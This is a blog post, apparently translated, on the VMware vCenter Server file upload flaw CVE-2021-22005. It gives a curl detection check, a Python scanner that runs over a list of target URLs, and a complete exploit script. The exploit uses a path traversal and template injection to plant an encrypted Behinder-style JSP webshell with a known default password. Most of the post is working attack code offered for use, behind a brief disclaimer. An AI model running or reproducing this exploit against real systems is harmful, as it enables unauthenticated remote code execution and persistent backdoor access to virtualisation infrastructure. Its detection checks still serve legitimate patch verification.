Replication of VMware vCenter Server arbitrary file upload vulnerability (CVE-2021-22005)

catalogue

Vulnerability description

Impact version

Vulnerability detection poc

Vulnerability EXP

Statement: do not use for illegal intrusion, only for detection and learning! Portal - >   Network security law of the people's Republic of China

Vulnerability description

On September 21, 2021, VMware issued a security announcement, publicly disclosing 19 security vulnerabilities in vCenter Server. The CVSSv3 score range of these vulnerabilities is 4.3-9.8.

Among them, the most serious vulnerability is the arbitrary file upload vulnerability in vCenter Server (CVE-2021-22005), which exists in the analysis service of vCenter Server, and its CVSSv3 score is 9.8. An attacker with network access to port 443 on the vCenter Server can remotely execute code on the vCenter Server by uploading malicious files. The vulnerability can be exploited remotely without authentication, with low attack complexity and no user interaction.

According to Shodan's search results, thousands of vCenter servers can be accessed and attacked through the Internet. It has been detected that the attacker is scanning and attacking the vulnerable VMware vCenter Server.

Impact version

  • VMware vCenter Server 7.0
  • VMware vCenter Server 6.7
  • Note: CVE-2021-22005 will affect all vCenter Server 6.7 and 7.0 deployments configured by default, and will not affect vCenter Server 6.5. Please refer to the official announcement of VMware for the impact scope of the other 18 vulnerabilities.

Vulnerability detection poc

We can perform more relevant cURL requests for the / analytics / telecommunications / pH / API / level endpoint to identify whether your server is affected

curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
  • If the server responds with 200/OK and anything other than "OFF" in the response body (such as "FULL"), it is vulnerable to attack.  
  • If it responds with 200/OK and "OFF" body content, it is likely that it is not vulnerable, and it has not been patched and no workaround has been applied.
  • If it responds with 400/Bad Request, patch it. This check takes advantage of the fact that the patched instance will check the collector ID (_c) against the list of known / accepted collector IDs.  
  • If it responds with 404, it is either not applicable or a solution has been applied. This workaround disables the affected API endpoints.
  • Any other status codes may imply that they are not applicable.

Build POC as follows

#author: Xiaoyuan meow
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
headers={
    'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}

params = (
    ('_c', 'test'),
)
for i in open('loophole url Where.txt','r'):
    if 'https' in i:
        i = i.strip('\r\n')
        url = i + "/analytics/telemetry/ph/api/level"
        try:
            r = requests.get(url=url,headers=headers,params=params,verify=False,timeout=10)
            code = r.status_code
            if code == 200:
                text = r.text
                if text:
                    if "OFF" not in text:
                        print(f"\033[0;31m{url}\033[0m Possible vulnerabilities")
                        with open('vul.text','a',encoding='utf-8') as f:
                            f.write(i+"\r")
            else:
                print(f"{i} There are no vulnerabilities")
        except:
            pass
    else:
        pass

Vulnerability EXP

Usage: CVE-2021-22005_poc.py   - t   https://ip address

 

import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
    
def escape(_str):
    _str = _str.replace("&", "&")
    _str = _str.replace("<", "&lt;")
    _str = _str.replace(">", "&gt;")
    _str = _str.replace("\"", "&quot;")
    return _str
    
def str_to_escaped_unicode(arg_str):
    escaped_str = ''
    for s in arg_str:
        val = ord(s)
        esc_uni = "\\u{:04x}".format(val)
        escaped_str += esc_uni
    return escaped_str


def createAgent(target, agent_name, log_param):

    
    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
    headers = { "Cache-Control": "max-age=0", 
               "Upgrade-Insecure-Requests": "1", 
               "User-Agent": "Mozilla/5.0", 
               "X-Deployment-Secret": "abc", 
               "Content-Type": "application/json", 
               "Connection": "close" }
               
    json_data = { "manifestSpec":{}, 
                  "objectType": "a2",
                  "collectionTriggerDataNeeded":  True,
                  "deploymentDataNeeded":True, 
                  "resultNeeded": True, 
                  "signalCollectionCompleted":True, 
                  "localManifestPath": "a7",
                  "localPayloadPath": "a8",
                  "localObfuscationMapPath": "a9" }
                  
    requests.post(url, headers=headers, json=json_data, verify=False)
    

def generate_manifest(webshell_location, webshell):

    manifestData = """<manifest recommendedPageSize="500">
       <request>
          <query name="vir:VCenter">
             <constraint>
                <targetType>ServiceInstance</targetType>
             </constraint>
             <propertySpec>
                <propertyNames>content.about.instanceUuid</propertyNames>
                <propertyNames>content.about.osType</propertyNames>
                <propertyNames>content.about.build</propertyNames>
                <propertyNames>content.about.version</propertyNames>
             </propertySpec>
          </query>
       </request>
       <cdfMapping>
          <indepedentResultsMapping>
             <resultSetMappings>
                <entry>
                   <key>vir:VCenter</key>
                   <value>
                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
                         <resourceItemToJsonLdMapping>
                            <forType>ServiceInstance</forType>
                         <mappingCode><![CDATA[    
                            #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
                            #set($orig_log = $appender.getFile())##
                            #set($logger = $GLOBAL-logger.logger.parent)##     
                            $appender.setFile("%s")##     
                            $appender.activateOptions()##  
                            $logger.warn("%s")##   
                            $appender.setFile($orig_log)##     
                            $appender.activateOptions()##]]>
                         </mappingCode>
                         </resourceItemToJsonLdMapping>
                      </value>
                   </value>
                </entry>
             </resultSetMappings>
          </indepedentResultsMapping>
       </cdfMapping>
       <requestSchedules>
          <schedule interval="1h">
             <queries>
                <query>vir:VCenter</query>
             </queries>
          </schedule>
       </requestSchedules>
    </manifest>""" % (webshell_location, webshell)
    
    return manifestData

def arg():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help = "Target", required = True)
    args = parser.parse_args()
    target = args.target
    print("[*] Target: %s" % target)
    return target

def exec():
    target = arg()
    # Variables
    webshell_param = id_generator(6)
    log_param = id_generator(6)
    agent_name = id_generator(6)
    shell_name = "Server.jsp"
    webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""

    webshell_location =  "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
    webshell = str_to_escaped_unicode(webshell)
    manifestData = generate_manifest(webshell_location,webshell)
    print("[*] Creating Agent")
    createAgent(target, agent_name, log_param)
    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
    headers = {"Cache-Control": "max-age=0", 
                     "Upgrade-Insecure-Requests": "1", 
                     "User-Agent": "Mozilla/5.0", 
                     "X-Deployment-Secret": "abc", 
                     "Content-Type": "application/json", 
                     "Connection": "close"}
    json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
    requests.post(url, headers=headers, json=json_data, verify=False)
    #webshell connection address
    url = "%s/idm/..;/%s" % (target, shell_name)
    code = requests.get(url=url, headers=headers,verify=False).status_code
    if code != "404":
        print("webshell address: %s" % url)
        print("[*]Ice scorpion 3.0 Webshell Connection password: rebeyond" )

    else:
        print("Not obtained webshell address")


if __name__ == '__main__':
    exec()
    

Posted by infiniteacuity on Wed, 29 Sep 2021 16:18:35 -0700